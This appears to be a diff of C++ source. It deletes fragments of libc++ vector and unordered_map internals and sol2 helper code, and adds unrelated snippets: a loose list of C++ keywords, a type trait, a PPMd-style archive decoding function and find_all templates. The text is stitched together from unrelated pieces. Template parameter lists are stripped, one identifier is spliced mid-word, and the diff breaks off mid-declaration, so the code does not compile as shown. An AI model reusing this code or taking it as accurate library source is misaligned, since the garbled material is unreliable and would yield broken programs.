decltype(std::forward(item)) { - return std::forward(item); - } - - template - T& unwrap(std::reference_wrapper arg) { - return arg.get(); - } - - template - inline decltype(auto) deref(T&& item) { - using Tu = meta::unqualified_t; - if constexpr (meta::is_pointer_like_v) { - return *std::forward(item); - } - else { - return std::forward(item); - } - } - - template - inline decltype(auto) deref_move_only(T&& item) { - using Tu = meta::unqualified_t; - if constexpr (meta::is_pointer_like_v && !std::is_pointer_v && !std::is_copy_constructible_v) { - return *std::forward(item); - } - else { - return std::forward(item); - } - } - - template - inline T* ptr(T& val) { - return std::addressof(val); - } - - template - inline T* ptr(std::reference_wrapper val) { - return std::addressof(val.get()); - } - - template - inline T* ptr(T* val) { - return val; - } - } // namespace detail -} // namespace sol - -#endif // SOL_POINTER_LIKE_HPP - -#include -#include -#include -#include // for forward declaration of vector -#include -#include -#include -#include - -template */> -class _LIBCPP_TEMPLATE_VIS vector -{ -private: - typedef allocator<_Tp> __default_allocator_type; -public: - typedef vector __self; - typedef _Tp value_type; - typedef _Allocator allocator_type; - typedef allocator_traits __alloc_traits; - typedef value_type& reference; - typedef const value_type& const_reference; - typedef typename __alloc_traits::size_type size_type; - typedef typename __alloc_traits::difference_type difference_type; - typedef typename __alloc_traits::pointer pointer; - typedef typename __alloc_traits::const_pointer const_pointer; - // TODO: Implement iterator bounds checking without requiring the global database. - typedef __wrap_iter iterator; - typedef __wrap_iter const_iterator; - typedef std::reverse_iterator reverse_iterator; - typedef std::reverse_iterator const_reverse_iterator; - - static_assert((is_same::value), - ); - - static_assert(is_same >::value, - - ); - - _LIBCPP_CONSTEXPR_SINCE_CXX20 _LIBCPP_HIDE_FROM_ABI - vector() _NOEXCEPT_(is_nothrow_default_constructible::value) - { - std::__debug_db_insert_c(this); - } - _LIBCPP_CONSTEXPR_SINCE_CXX20 _LIBCPP_HIDE_FROM_ABI explicit vector(const allocator_type& __a) -#if _LIBCPP_STD_VER <= 14 - _NOEXCEPT_(is_nothrow_copy_constructible::value) -#else - _NOEXCEPT -#endif - : __end_cap_(nullptr, __a) - { - std::__debug_db_insert_c(this); - } - template ::value> > - _LIBCPP_CONSTEXPR_SINCE_CXX20 _LIBCPP_HIDE_FROM_ABI - vector(size_type __n, const value_type& __x, const allocator_type& __a) - : __end_cap_(nullptr, __a) - { - std::__debug_db_insert_c(this); - if (__n > 0) - { - __vallocate(__n); - __construct_at_end(__n, __x); - } - } - - template ::value && - is_constructible::reference>::value, - int> = 0> - _LIBCPP_CONSTEXPR_SINCE_CXX20 _LIBCPP_HIDE_FROM_ABI vector(_InputIterator __first, _InputIterator __last); - template ::value && - is_constructible::reference>::value, - int> = 0> - _LIBCPP_CONSTEXPR_SINCE_CXX20 _LIBCPP_HIDE_FROM_ABI - vector(_InputIterator __first, _InputIterator __last, const allocator_type& __a); - - template < - class _ForwardIterator, - __enable_if_t<__is_cpp17_forward_iterator<_ForwardIterator>::value && - is_constructible::reference>::value, - int> = 0> - _LIBCPP_CONSTEXPR_SINCE_CXX20 _LIBCPP_HIDE_FROM_ABI vector(_ForwardIterator __first, _ForwardIterator __last); - - template ::value && - is_constructible::reference>::value, - int> = 0> - _LIBCPP_CONSTEXPR_SINCE_CXX20 _LIBCPP_HIDE_FROM_ABI - vector(_ForwardIterator __first, _ForwardIterator __last, const allocator_type& __a); - -private: - class __destroy_vector { - public: - _LIBCPP_CONSTEXPR __destroy_vector(vector& __vec) : __vec_(__vec) {} - - _LIBCPP_CONSTEXPR_SINCE_CXX20 _LIBCPP_HIDE_FROM_ABI void operator()() { - __vec_.__annotate_delete(); - std::__debug_db_erase_c(std::addressof(__vec_)); - - if (__vec_.__begin_ != nullptr) { - __vec_.__clear(); - __alloc_traits::deallocate(__vec_.__alloc(), __vec_.__begin_, __vec_.capacity()); - } - } - - private: - vector& __vec_; - }; - -public: - _LIBCPP_CONSTEXPR_SINCE_CXX20 _LIBCPP_HIDE_FROM_ABI ~vector() { __destroy_vector(*this)(); } - - _LIBCPP_CONSTEXPR_SINCE_CXX20 _LIBCPP_HIDE_FROM_ABI vector(const vector& __x); - _LIBCPP_CONSTEXPR_SINCE_CXX20 _LIBCPP_HIDE_FROM_ABI vector(const vector& __x, const __type_identity_t& __a); - _LIBCPP_CONSTEXPR_SINCE_CXX20 _LIBCPP_HIDE_FROM_ABI - vector& operator=(const vector& __x); - -#ifndef _LIBCPP_CXX03_LANG - _LIBCPP_CONSTEXPR_SINCE_CXX20 _LIBCPP_HIDE_FROM_ABI - vector(initializer_list __il); - - _LIBCPP_CONSTEXPR_SINCE_CXX20 _LIBCPP_HIDE_FROM_ABI - vector(initializer_list __il, const allocator_type& __a); - - _LIBCPP_CONSTEXPR_SINCE_CXX20 _LIBCPP_HIDE_FROM_ABI - vector& operator=(initializer_list __il) - {assign(__il.begin(), __il.end()); return *this;} -#endif // !_LIBCPP_CXX03_LANG - - _LIBCPP_CONSTEXPR_SINCE_CXX20 _LIBCPP_HIDE_FROM_ABI - vector(vector&& __x) -#if _LIBCPP_STD_VER > 14 - noexcept; -#else - _NOEXCEPT_(is_nothrow_move_constructible::value); -#endif - - _LIBCPP_CONSTEXPR_SINCE_CXX20 _LIBCPP_HIDE_FROM_ABI - vector(vector&& __x, const __type_identity_t& __a); - _LIBCPP_CONSTEXPR_SINCE_CXX20 _LIBCPP_HIDE_FROM_ABI - vector& operator=(vector&& __x) - _NOEXCEPT_((__noexcept_move_assign_container<_Allocator, __alloc_traits>::value)); - - template ::value && - is_constructible::reference>::value, - int> = 0> - _LIBCPP_CONSTEXPR_SINCE_CXX20 _LIBCPP_HIDE_FROM_ABI void assign(_InputIterator __first, _InputIterator __last); - template < - class _ForwardIterator, - __enable_if_t<__is_cpp17_forward_iterator<_ForwardIterator>::value && - is_constructible::reference>::value, - int> = 0> - _LIBCPP_CONSTEXPR_SINCE_CXX20 _LIBCPP_HIDE_FROM_ABI void assign(_ForwardIterator __first, _ForwardIterator __last); - - _LIBCPP_CONSTEXPR_SINCE_CXX20 _LIBCPP_HIDE_FROM_ABI void assign(size_type __n, const_reference __u); - -#ifndef _LIBCPP_CXX03_LANG - _LIBCPP_CONSTEXPR_SINCE_CXX20 _LIBCPP_HIDE_FROM_ABI - void assign(initializer_list __il) - {assign(__il.begin(), __il.end());} -#endif - - _LIBCPP_CONSTEXPR_SINCE_CXX20 _LIBCPP_HIDE_FROM_ABI - allocator_type get_allocator() const _NOEXCEPT - {return this->__alloc();} - - _LIBCPP_CONSTEXPR_SINCE_CXX20 _LIBCPP_HIDE_FROM_ABI iterator begin() _NOEXCEPT; - _LIBCPP_CONSTEXPR_SINCE_CXX20 _LIBCPP_HIDE_FROM_ABI const_iterator begin() const _NOEXCEPT; - _LIBCPP_CONSTEXPR_SINCE_CXX20 _LIBCPP_HIDE_FROM_ABI iterator end() _NOEXCEPT; - _LIBCPP_CONSTEXPR_SINCE_CXX20 _LIBCPP_HIDE_FROM_ABI const_iterator end() const _NOEXCEPT; - - _LIBCPP_CONSTEXPR_SINCE_CXX20 _LIBCPP_HIDE_FROM_ABI - reverse_iterator rbegin() _NOEXCEPT - {return reverse_iterator(end());} - _LIBCPP_CONSTEXPR_SINCE_CXX20 _LIBCPP_HIDE_FROM_ABI - const_reverse_iterator rbegin() const _NOEXCEPT - {return const_reverse_iterator(end());} - _LIBCPP_CONSTEXPR_SINCE_CXX20 _LIBCPP_HIDE_FROM_ABI - reverse_iterator rend() _NOEXCEPT - {return reverse_iterator(begin());} - _LIBCPP_CONSTEXPR_SINCE_CXX20 _LIBCPP_HIDE_FROM_ABI - const_reverse_iterator rend() const _NOEXCEPT - {return const_reverse_iterator(begin());} - - _LIBCPP_CONSTEXPR_SINCE_CXX20 _LIBCPP_HIDE_FROM_ABI - const_iterator cbegin() const _NOEXCEPT - {return begin();} - _LIBCPP_CONSTEXPR_SINCE_CXX20 _LIBCPP_HIDE_FROM_ABI - const_iterator cend() const _NOEXCEPT - {return end();} - _LIBCPP_CONSTEXPR_SINCE_CXX20 _LIBCPP_HIDE_FROM_ABI - const_reverse_iterator crbegin() const _NOEXCEPT - {return rbegin();} - _LIBCPP_CONSTEXPR_SINCE_CXX20 _LIBCPP_HIDE_FROM_ABI - const_reverse_iterator crend() const _NOEXCEPT - {return rend();} - - _LIBCPP_CONSTEXPR_SINCE_CXX20 _LIBCPP_HIDE_FROM_ABI - size_type size() const _NOEXCEPT - {return static_cast(this->__end_ - this->__begin_);} - _LIBCPP_CONSTEXPR_SINCE_CXX20 _LIBCPP_HIDE_FROM_ABI - size_type capacity() const _NOEXCEPT - {return static_cast(__end_cap() - this->__begin_);} - _LIBCPP_NODISCARD_AFTER_CXX17 _LIBCPP_CONSTEXPR_SINCE_CXX20 _LIBCPP_HIDE_FROM_ABI - bool empty() const _NOEXCEPT - {return this->__begin_ == this->__end_;} - _LIBCPP_CONSTEXPR_SINCE_CXX20 _LIBCPP_HIDE_FROM_ABI size_type max_size() const _NOEXCEPT; - _LIBCPP_CONSTEXPR_SINCE_CXX20 _LIBCPP_HIDE_FROM_ABI void reserve(size_type __n); - _LIBCPP_CONSTEXPR_SINCE_CXX20 _LIBCPP_HIDE_FROM_ABI void shrink_to_fit() _NOEXCEPT; - -template -template ::value && - is_constructible<_Tp, typename iterator_traits<_ForwardIterator>::reference>::value, - int> > -_LIBCPP_CONSTEXPR_SINCE_CXX20 -vector<_Tp, _Allocator>::vector(_ForwardIterator __first, _ForwardIterator __last) -{ - auto __guard = std::__make_exception_guard(__destroy_vector(*this)); - std::__debug_db_insert_c(this); - size_type __n = static_cast(std::distance(__first, __last)); - if (__n > 0) - { - __vallocate(__n); - __construct_at_end(__first, __last, __n); - } - __guard.__complete(); -} - -template -template ::value && - is_constructible<_Tp, typename iterator_traits<_ForwardIterator>::reference>::value, - int> > -_LIBCPP_CONSTEXPR_SINCE_CXX20 -vector<_Tp, _Allocator>::vector(_ForwardIterator __first, _ForwardIterator __last, const allocator_type& __a) - : __end_cap_(nullptr, __a) -{ - auto __guard = std::__make_exception_guard(__destroy_vector(*this)); - std::__debug_db_insert_c(this); - size_type __n = static_cast(std::distance(__first, __last)); - if (__n > 0) - { - __vallocate(__n); - __construct_at_end(__first, __last, __n); - } - __guard.__complete(); -} - -template -_LIBCPP_CONSTEXPR_SINCE_CXX20 -vector<_Tp, _Allocator>::vector(const vector& __x) - : __end_cap_(nullptr, __alloc_traits::select_on_container_copy_construction(__x.__alloc())) -{ - auto __guard = std::__make_exception_guard(__destroy_vector(*this)); - std::__debug_db_insert_c(this); - size_type __n = __x.size(); - if (__n > 0) - { - __vallocate(__n); - __construct_at_end(__x.__begin_, __x.__end_, __n); - } - __guard.__complete(); -} - -template -_LIBCPP_CONSTEXPR_SINCE_CXX20 -vector<_Tp, _Allocator>::vector(const vector& __x, const __type_identity_t& __a) - : __end_cap_(nullptr, __a) -{ - auto __guard = std::__make_exception_guard(__destroy_vector(*this)); - std::__debug_db_insert_c(this); - size_type __n = __x.size(); - if (__n > 0) - { - __vallocate(__n); - __construct_at_end(__x.__begin_, __x.__end_, __n); - } - __guard.__complete(); -} - -template -_LIBCPP_CONSTEXPR_SINCE_CXX20 -inline _LIBCPP_HIDE_FROM_ABI -vector<_Tp, _Allocator>::vector(vector&& __x) -#if _LIBCPP_STD_VER > 14 - noexcept -#else - _NOEXCEPT_(is_nothrow_move_constructible::value) -#endif - : __end_cap_(nullptr, std::move(__x.__alloc())) -{ - std::__debug_db_insert_c(this); - std::__debug_db_swap(this, std::addressof(__x)); - this->__begin_ = __x.__begin_; - this->__end_ = __x.__end_; - this->__end_cap() = __x.__end_cap(); - __x.__begin_ = __x.__end_ = __x.__end_cap() = nullptr; -} - -template -_LIBCPP_CONSTEXPR_SINCE_CXX20 -inline _LIBCPP_HIDE_FROM_ABI -vector<_Tp, _Allocator>::vector(vector&& __x, const __type_identity_t& __a) - : __end_cap_(nullptr, __a) -{ - std::__debug_db_insert_c(this); - if (__a == __x.__alloc()) - { - this->__begin_ = __x.__begin_; - this->__end_ = __x.__end_; - this->__end_cap() = __x.__end_cap(); - __x.__begin_ = __x.__end_ = __x.__end_cap() = nullptr; - std::__debug_db_swap(this, std::addressof(__x)); - } - else - { - typedef move_iterator _Ip; - auto __guard = std::__make_exception_guard(__destroy_vector(*this)); - assign(_Ip(__x.begin()), _Ip(__x.end())); - __guard.__complete(); - } -} - -#ifndef _LIBCPP_CXX03_LANG - -template -_LIBCPP_CONSTEXPR_SINCE_CXX20 -inline _LIBCPP_HIDE_FROM_ABI -vector<_Tp, _Allocator>::vector(initializer_list __il) -{ - auto __guard = std::__make_exception_guard(__destroy_vector(*this)); - std::__debug_db_insert_c(this); - if (__il.size() > 0) - { - __vallocate(__il.size()); - __construct_at_end(__il.begin(), __il.end(), __il.size()); - } - __guard.__complete(); -} - -// vector - -template -_LIBCPP_CONSTEXPR_SINCE_CXX20 -vector::vector(size_type __n, const value_type& __x, const allocator_type& __a) - : __begin_(nullptr), - __size_(0), - __cap_alloc_(0, static_cast<__storage_allocator>(__a)) -{ - if (__n > 0) - { - __vallocate(__n); - __construct_at_end(__n, __x); - } -} -template ::value && !__libcpp_is_final<_Hash>::value> -class __unordered_map_hasher - : private _Hash -{ -public: - _LIBCPP_INLINE_VISIBILITY - __unordered_map_hasher() - _NOEXCEPT_(is_nothrow_default_constructible<_Hash>::value) - : _Hash() {} - _LIBCPP_INLINE_VISIBILITY - __unordered_map_hasher(const _Hash& __h) - _NOEXCEPT_(is_nothrow_copy_constructible<_Hash>::value) - : _Hash(__h) {} - _LIBCPP_INLINE_VISIBILITY - const _Hash& hash_function() const _NOEXCEPT {return *this;} - _LIBCPP_INLINE_VISIBILITY - size_t operator()(const _Cp& __x) const - {return static_cast(*this)(__x.__get_value().first);} - _LIBCPP_INLINE_VISIBILITY - size_t operator()(const _Key& __x) const - {return static_cast(*this)(__x);} -#if _LIBCPP_STD_VER > 17 - template - _LIBCPP_INLINE_VISIBILITY - size_t operator()(const _K2& __x) const - {return static_cast(*this)(__x);} -#endif - _LIBCPP_INLINE_VISIBILITY - void swap(__unordered_map_hasher& __y) - _NOEXCEPT_(__is_nothrow_swappable<_Hash>::value) - { - using _VSTD::swap; - swap(static_cast<_Hash&>(*this), static_cast<_Hash&>(__y)); - } +#include + + +new switch auto else operator template break enum private this case extern protected throw +catch public try char for typedef class friend return union const short unsigned continue if signed virtual +default inline sizeof void delete int static volatile do long struct while +template +struct has_process { + template + static auto test(U* p) -> decltype(std::declval().process(), std::true_type()); + template + static std::false_type test(...); + static constexpr bool value = decltype(test(nullptr))::value; }; - -template -class __unordered_map_hasher<_Key, _Cp, _Hash, _Pred, false> +inline BOOL DecodeOneFile(FILE* fpIn) { - _Hash __hash_; -public: - _LIBCPP_INLINE_VISIBILITY - __unordered_map_hasher() - _NOEXCEPT_(is_nothrow_default_constructible<_Hash>::value) - : __hash_() {} - _LIBCPP_INLINE_VISIBILITY - __unordered_map_hasher(const _Hash& __h) - _NOEXCEPT_(is_nothrow_copy_constructible<_Hash>::value) - : __hash_(__h) {} - _LIBCPP_INLINE_VISIBILITY - const _Hash& hash_function() const _NOEXCEPT {return __hash_;} - _LIBCPP_INLINE_VISIBILITY - size_t operator()(const _Cp& __x) const - {return __hash_(__x.__get_value().first);} - _LIBCPP_INLINE_VISIBILITY - size_t operator()(const _Key& __x) const - {return __hash_(__x);} -#if _LIBCPP_STD_VER > 17 - template - _LIBCPP_INLINE_VISIBILITY - size_t operator()(const _K2& __x) const - {return __hash_(__x);} -#endif - _LIBCPP_INLINE_VISIBILITY - void swap(__unordered_map_hasher& __y) - _NOEXCEPT_(__is_nothrow_swappable<_Hash>::value) - { - using _VSTD::swap; - swap(__hash_, __y.__hash_); + char WrkStr[260]; + int MaxOrder, SASize; + BOOL CutOff; + if ( !fread(&ai,sizeof(ai),1,fpIn) ) return FALSE; + CutOff=ai.FNLen >> 14; + ai.FNLen=CLAMP(int(ai.FNLen & 0x1FF),1,260-1); + fread(WrkStr,ai.FNLen,1,fpIn); WrkStr[ai.FNLen]=0; + if ( !TestAccessRare(WrkStr) ) return FALSE; + FILE* fpOut = FOpen(pFName=WrkStr,"wb"); + MaxOrder=(ai.info & 0x0F)+1; SASize=((ai.info >> 4) & 0xFF)+1; + DWORD Variant=(ai.info >> 12)+'A'; + if (ai.signature != PPMdSignature || Variant != PROG_VAR) { + printf(MTxt[0],WrkStr); exit(-1); } -}; - -template -inline _LIBCPP_INLINE_VISIBILITY -void -swap(__unordered_map_hasher<_Key, _Cp, _Hash, _Pred, __b>& __x, - __unordered_map_hasher<_Key, _Cp, _Hash, _Pred, __b>& __y) - _NOEXCEPT_(_NOEXCEPT_(__x.swap(__y))) -{ - __x.swap(__y); -} - -template ::value && !__libcpp_is_final<_Pred>::value> -class __unordered_map_equal - : private _Pred -{ -public: - _LIBCPP_INLINE_VISIBILITY - __unordered_map_equal() - _NOEXCEPT_(is_nothrow_default_constructible<_Pred>::value) - : _Pred() {} - _LIBCPP_INLINE_VISIBILITY - __unordered_map_equal(const _Pred& __p) - _NOEXCEPT_(is_nothrow_copy_constructible<_Pred>::value) - : _Pred(__p) {} - _LIBCPP_INLINE_VISIBILITY - const _Pred& key_eq() const _NOEXCEPT {return *this;} - _LIBCPP_INLINE_VISIBILITY - bool operator()(const _Cp& __x, const _Cp& __y) const - {return static_cast(*this)(__x.__get_value().first, __y.__get_value().first);} - _LIBCPP_INLINE_VISIBILITY - bool operator()(const _Cp& __x, const _Key& __y) const - {return static_cast(*this)(__x.__get_value().first, __y);} - _LIBCPP_INLINE_VISIBILITY - bool operator()(const _Key& __x, const _Cp& __y) const - {return static_cast(*this)(__x, __y.__get_value().first);} -#if _LIBCPP_STD_VER > 17 - template - _LIBCPP_INLINE_VISIBILITY - bool operator()(const _Cp& __x, const _K2& __y) const - {return static_cast(*this)(__x.__get_value().first, __y);} - template - _LIBCPP_INLINE_VISIBILITY - bool operator()(const _K2& __x, const _Cp& __y) const - {return static_cast(*this)(__x, __y.__get_value().first);} - template - _LIBCPP_INLINE_VISIBILITY - bool operator()(const _Key& __x, const _K2& __y) const - {return static_cast(*this)(__x, __y);} - template - _LIBCPP_INLINE_VISIBILITY - bool operator()(const _K2& __x, const _Key& __y) const - {return static_cast(*this)(__x, __y);} -#endif - _LIBCPP_INLINE_VISIBILITY - void swap(__unordered_map_equal& __y) - _NOEXCEPT_(__is_nothrow_swappable<_Pred>::value) - { - using _VSTD::swap; - swap(static_cast<_Pred&>(*this), static_cast<_Pred&>(__y)); + PrepareCoding(SASize,fpIn); DecodeFile(fpOut,fpIn,MaxOrder,CutOff); + putchar('\n'); + if (ferror(fpOut) || ferror(fpIn) || feof(fpIn)) { + printf(MTxt[1],WrkStr,WrkStr); exit(-1); } -}; - -template -class __unordered_map_equal<_Key, _Cp, _Pred, _Hash, false> -{ - _Pred __pred_; -public: - _LIBCPP_INLINE_VISIBILITY - __unordered_map_equal() - _NOEXCEPT_(is_nothrow_default_constructibl_x, __y);} -#endif - _LIBCPP_INLINE_VISIBILITY - void swap(__unordered_map_equal& __y) - _NOEXCEPT_(__is_nothrow_swappable<_Pred>::value) - { - using _VSTD::swap; - swap(__pred_, __y.__pred_); - } -}; - -template -inline _LIBCPP_INLINE_VISIBILITY -void -swap(__unordered_map_equal<_Key, _Cp, _Pred, _Hash, __b>& __x, - __unordered_map_equal<_Key, _Cp, _Pred, _Hash, __b>& __y) - _NOEXCEPT_(_NOEXCEPT_(__x.swap(__y))) -{ - __x.swap(__y); + fclose(fpOut); EnvSetDateTimeAttr(WrkStr); + return TRUE; +} +template +std::enable_if_t, void>> +find_all(T begin, T end, Predicate pred, Consumer consumer) { + T iter = begin; + while ((iter = std::find_if(iter, end, pred)) != end) + consumer(iter), iter++; } -template -class __hash_map_node_destructor -{ - typedef _Alloc allocator_type; - typedef allocator_traits __alloc_traits; - -public: - - typedef typename __alloc_traits::pointer pointer; -private: - - allocator_type& __na_; - - __hash_map_node_destructor& operator=(const __hash_map_node_destructor&); - -public: - bool __first_constructed; - bool __second_constructed; - - _LIBCPP_INLINE_VISIBILITY - explicit __hash_map_node_destructor(allocator_type& __na) _NOEXCEPT - : __na_(__na), - __first_constructed(false), - __second_constructed(false) - {} - -#ifndef _LIBCPP_CXX03_LANG - _LIBCPP_INLINE_VISIBILITY - __hash_map_node_destructor(__hash_node_destructor&& __x) - _NOEXCEPT - : __na_(__x.__na_), - __first_constructed(__x.__value_constructed), - __second_constructed(__x.__value_constructed) - { - __x.__value_constructed = false; - } -#else // _LIBCPP_CXX03_LANG - _LIBCPP_INLINE_VISIBILITY - __hash_map_node_destructor(const __hash_node_destructor& __x) - : __na_(__x.__na_), - __first_constructed(__x.__value_constructed), - __second_constructed(__x.__value_constructed) - { - const_cast(__x.__value_constructed) = false; - } -#endif // _LIBCPP_CXX03_LANG - - _LIBCPP_INLINE_VISIBILITY - void operator()(pointer __p) _NOEXCEPT - { - if (__second_constructed) - __alloc_traits::destroy(__na_, _VSTD::addressof(__p->__value_.__get_value().second)); - if (__first_constructed) - __alloc_traits::destroy(__na_, _VSTD::addressof(__p->__value_.__get_value().first)); - if (__p) - __alloc_traits::deallocate(__na_, __p, 1); - } -}; - -#ifndef _LIBCPP_CXX03_LANG -template -struct _LIBCPP_STANDALONE_DEBUG __hash_value_type -{ - typedef _Key key_type; - typedef _Tp mapped_type; - typedef pair value_type; - typedef pair __nc_ref_pair_type; - typedef pair __nc_rref_pair_type; - -private: - value_type __cc_; - -public: - _LIBCPP_INLINE_VISIBILITY - value_type& __get_value() - { -#if _LIBCPP_STD_VER > 14 - return *_VSTD::launder(_VSTD::addressof(__cc_)); -#else - return __cc_; -#endif - } - - _LIBCPP_INLINE_VISIBILITY - const value_type& __get_value() const - { -#if _LIBCPP_STD_VER > 14 - return *_VSTD::launder(_VSTD::addressof(__cc_)); -#else - return __cc_; -#endif - } - - _LIBCPP_INLINE_VISIBILITY - __nc_ref_pair_type __ref() - { - value_type& __v = __get_value(); - return __nc_ref_pair_type(const_cast(__v.first), __v.second); - } - - _LIBCPP_INLINE_VISIBILITY - __nc_rref_pair_type __move() - { - value_type& __v = __get_value(); - return __nc_rref_pair_type( - _VSTD::move(const_cast(__v.first)), - _VSTD::move(__v.second)); - } - -template -unordered_map<_Key, _Tp, _Hash, _Pred, _Alloc>::unordered_map( - size_type __n, const hasher& __hf, const key_equal& __eql) - : __table_(__hf, __eql) -{ - _VSTD::__debug_db_insert_c(this); - __table_.__rehash_unique(__n); +template , void>>::type> +std::vector> +find_all(T begin, T end, Predicate pred, Consumer consumer) { + T iter = begin; + std::vector> data; + while ((iter = std::find_if(iter, end, pred)) != end) + data.push_back(consumer(iter)), iter++; + return data; } - -template -unordered_map<_Key, _Tp, _Hash, _Pred, _Alloc>::unordered_map( - size_type __n, const hasher& __hf, const key_equal& __eql, - const allocator_type& __a) - : __table_(__hf, __eql, typename __table::allocator_type(__a)) -{ - _VSTD::__debug_db_insert_c(this); - __table_.__rehash_unique(__n); -} - -template -inline -unordered_map<_Key, _Tp, _Hash, _Pred, _Alloc>::unordered_map( - const allocator_type& __a) - : __table_(typename __table::allocator_type(__a)) -{ - _VSTD::__debug_db_insert_c(this); -} - -template -template -unordered_map<_Key, _Tp, _Hash, _Pred, _Alloc>::unordered_map( - _InputIterator __first, _InputIterator __last) -{ - _VSTD::__debug_db_insert_c(this); - insert(__first, __last); -} - -template -template -unordered_map<_Key, _Tp, _Hash, _Pred, _Alloc>::unordered_map( - _InputIterator __first, _InputIterator __last, size_type __n, - const hasher& __hf, const key_equal& __eql) - : __table_(__hf, __eql) -{ - _VSTD::__debug_db_insert_c(this); - __table_.__rehash_unique(__n); - insert(__first, __last); -} - -template -template -unordered_map<_Key, _Tp, _Hash, _Pred, _Alloc>::unordered_map( - _InputIterator __first, _InputIterator __last, size_type __n, - const hasher& __hf, const key_equal& __eql, const allocator_type& __a) - : __table_(__hf, __eql, typename __table::allocator_type(__a)) -{ - _VSTD::__debug_db_insert_c(this); - __table_.__rehash_unique(__n); - insert(__first, __last); -} - -template -unordered_map<_Key, _Tp, _Hash, _Pred, _Alloc>::unordered_map( - const unordered_map& __u) - : __table_(__u.__table_) -{ - _VSTD::__debug_db_insert_c(this); - __table_.__rehash_unique(__u.bucket_count()); - insert(__u.begin(), __u.end()); -} - -template -unordered_map<_Key, _Tp, _Hash, _Pred, _Alloc>::unordered_map( - const unordered_map& __u, const allocator_type& __a) - : __table_(__u.__table_, typename __table::allocator_type(__a)) -{ - _VSTD::__debug_db_insert_c(this); - __table_.__rehash_unique(__u.bucket_count()); - insert(__u.begin(), __u.end()); -} - -#ifndef _LIBCPP_CXX03_LANG - -template -inline -unordered_map<_Key, _Tp, _Hash, _Pred, _Alloc>::unordered_map( - unordered_map&& __u) - _NOEXCEPT_(is_nothrow_move_constructible<__table>::value) - : __table_(_VSTD::move(__u.__table_)) -{ - _VSTD::__debug_db_insert_c(this); - std::__debug_db_swap(this, std::addressof(__u)); -} - -template -unordered_map<_Key, _Tp, _Hash, _Pred, _Alloc>::unordered_map( - unordered_map&& __u, const allocator_type& __a) - : __table_(_VSTD::move(__u.__table_), typename __table::allocator_type(__a)) -{ - _VSTD::__debug_db_insert_c(this); - if (__a != __u.get_allocator()) - { - iterator __i = __u.begin(); - while (__u.size() != 0) { - __table_.__emplace_unique( - __u.__table_.remove((__i++).__i_)->__value_.__move()); - } - } - else - std::__debug_db_swap(this, std::addressof(__u)); -} - -template -unordered_map<_Key, _Tp, _Hash, _Pred, _Alloc>::unordered_map( - initializer_list __il) -{ - _VSTD::__debug_db_insert_c(this); - insert(__il.begin(), __il.end()); -} - -template -unordered_map<_Key, _Tp, _Hash, _Pred, _Alloc>::unordered_map( - initializer_list __il, size_type __n, const hasher& __hf, - const key_equal& __eql) - : __table_(__hf, __eql) -{ - _VSTD::__debug_db_insert_c(this); - __table_.__rehash_unique(__n); - insert(__il.begin(), __il.end()); -} - -template -unordered_map<_Key, _Tp, _Hash, _Pred, _Alloc>::unordered_map( - initializer_list __il, size_type __n, const hasher& __hf, - const key_equal& __eql, const allocator_type& __a) - : __table_(__hf, __eql, typename __table::allocator_type(__a)) -{ - _VSTD::__debug_db_insert_c(this); - __table_.__rehash_unique(__n); - insert(__il.begin(), __il.end()); -} - -template -inline -unordered_map<_Key, _Tp, _Hash, _Pred, _Alloc>& -unordered_map<_Key, _Tp, _Hash, _Pred, _Alloc>::operator=(unordered_map&& __u) - _NOEXCEPT_(is_nothrow_move_assignable<__table>::value) -{ - __table_ = _VSTD::move(__u.__table_); - return *this; -} - -template -inline -unordered_map<_Key, _Tp, _Hash, _Pred, _Alloc>& -unordered_map<_Key, _Tp, _Hash, _Pred, _Alloc>::operator=( - initializer_list __il) -{ - __table_.__assign_unique(__il.begin(), __il.end()); - return *this; -} - -#endif // _LIBCPP_CXX03_LANG - -template -template -inline -void -unordered_map<_Key, _Tp, _Hash, _Pred, _Alloc>::insert(_InputIterator __first, - _InputIterator __last) -{ - for (; __first != __last; ++__first) - __table_.__insert_unique(*__first); -} - -#ifndef _LIBCPP_CXX03_LANG - -template -_Tp& -unordered_map<_Key, _Tp, _Hash, _Pred, _Alloc>::operator[](const key_type& __k) -{ - return __table_.__emplace_unique_key_args(__k, - piecewise_construct, _VSTD::forward_as_tuple(__k), - _VSTD::forward_as_tuple()).first->__get_value().second; -} - -template -_Tp& -unordered_map<_Key, _Tp, _Hash, _Pred, _Alloc>::operator[](key_type&& __k) -{ - return __table_.__emplace_unique_key_args(__k, - piecewise_construct, _VSTD::forward_as_tuple(_VSTD::move(__k)), - _VSTD::forward_as_tuple()).first->__get_value().second; -} -#else // _LIBCPP_CXX03_LANG - -template -typename unordered_map<_Key, _Tp, _Hash, _Pred, _Alloc>::__node_holder -unordered_map<_Key, _Tp, _Hash, _Pred, _Alloc>::__construct_node_with_key(const key_type& __k) -{ - __node_allocator& __na = __table_.__node_alloc(); - __node_holder __h(__node_traits::allocate(__na, 1), _Dp(__na)); - __node_traits::construct(__na, _VSTD::addressof(__h->__value_.__get_value().first), __k); - __h.get_deleter().__first_constructed = true; - __node_traits::construct(__na, _VSTD::addressof(__h->__value_.__get_value().second)); - __h.get_deleter().__second_constructed = true; - return __h; -} - -template -_Tp& -unordered_map<_Key, _Tp, _Hash, _Pred, _Alloc>::operator[](const key_type& __k) -{ - iterator __i = find(__k); - if (__i != end()) - return __i->second; - __node_holder __h = __construct_node_with_key(__k); - pair __r = __table_.__node_insert_unique(__h.get()); - __h.release(); - return __r.first->second; -} - -#endif // _LIBCPP_CXX03_LANG - -template -_Tp& -unordered_map<_Key, _Tp, _Hash, _Pred, _Alloc>::at(const key_type& __k) -{ - iterator __i = find(__k); - if (__i == end()) - __throw_out_of_range(); - return __i->second; -} - -template -const _Tp& -unordered_map<_Key, _Tp, _Hash, _Pred, _Alloc>::at(const key_type& __k) const -{ - const_iterator __i = find(__k); - if (__i == end()) - __throw_out_of_range(); - return __i->second; -} - -template -inline _LIBCPP_INLINE_VISIBILITY -void -swap(unordered_map<_Key, _Tp, _Hash, _Pred, _Alloc>& __x, - unordered_map<_Key, _Tp, _Hash, _Pred, _Alloc>& __y) - _NOEXCEPT_(_NOEXCEPT_(__x.swap(__y))) -{ - __x.swap(__y); -} - -#if _LIBCPP_STD_VER > 17 -template -inline _LIBCPP_INLINE_VISIBILITY - typename unordered_map<_Key, _Tp, _Hash, _Pred, _Alloc>::size_type - erase_if(unordered_map<_Key, _Tp, _Hash, _Pred, _Alloc>& __c, - _Predicate __pred) { - return _VSTD::__libcpp_erase_if_container(__c, __pred); -} -#endif - -template -_LIBCPP_HIDE_FROM_ABI bool -operator==(const unordered_map<_Key, _Tp, _Hash, _Pred, 